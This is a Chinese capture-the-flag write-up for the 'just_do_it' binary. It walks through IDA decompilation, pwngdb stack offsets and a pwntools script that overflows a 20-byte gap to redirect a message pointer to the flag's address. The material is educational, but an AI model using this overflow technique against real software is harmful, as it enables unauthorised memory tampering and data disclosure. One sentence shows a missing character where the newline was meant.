1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 char s; // [esp+8h] [ebp-20h] 4 FILE *stream; // [esp+18h] [ebp-10h] 5 char *v6; // [esp+1Ch] [ebp-Ch] 6 7 setvbuf(stdin, 0, 2, 0); 8 setvbuf(stdout, 0, 2, 0); 9 setvbuf(_bss_start, 0, 2, 0); 10 v6 = failed_message; 11 stream = fopen("flag.txt", "r"); 12 if ( !stream ) 13 { 14 perror("file open error. "); 15 exit(0); 16 } 17 if ( !fgets(flag, 48, stream) ) 18 { 19 perror("file read error. "); 20 exit(0); 21 } 22 puts("Welcome my secret service. Do you know the password?"); 23 puts("Input the password."); 24 if ( !fgets(&s, 32, stdin) ) 25 { 26 perror("input error. "); 27 exit(0); 28 } 29 if ( !strcmp(&s, PASSWORD) ) 30 v6 = success_message; 31 puts(v6); 32 return 0; 33 }
打开IDA观察,第11-21行,是打开flag.txt文件并且通过fgets函数写入到全局变量flag中。
然后在第24行,接受输入。
最后是在29行,将接受的输入数据与PASSWORD进行比较,若一样则把v6赋值为success_message,然后用puts输出这段提示信息。
有意思的是,可以在IDA中找到这个PASSWORD的值,为P@SSW0RD。但是实际当输入这个值时,还是提示密码不对。
在pwngdb中调试才得知,fgets函数在接受完输入后,会在最后加一个 ,这样的话就无法和密码一样了。
实际上,就算是密码通过了,也只是获得提示成功的信息,还是无法得到flag的。这里只是想看看为何输入了IDA中的“正确”密码,但还是提示错误。
再来看这一行,是把flag存放在了0x0804A080地址的内存中。也许可以把这个地址覆盖掉提示成功或者失败信息的栈帧,就可以输出这个flag了。
然后我们需要用pwngdb确定这个提示成功和失败信息的栈帧在哪个地方。
观察main函数的栈,发现输入的数据存放在0xd078地址处,而提示成功和失败信息的地址为0xd08c.
又因为8c-78=0x14(20)。没有超出fgets的32个最大字节的限制。那么现在,只需要填充20个字节数据,加上在IDA中找到的flag内存地址,就可以读出flag了。
1 from pwn import * 2 io=process('./just_do_it') 3 payload=b'A'*20+p32(0x804a080) 4 print(io.recv()) 5 io.sendline(payload) 6 print(io.recv())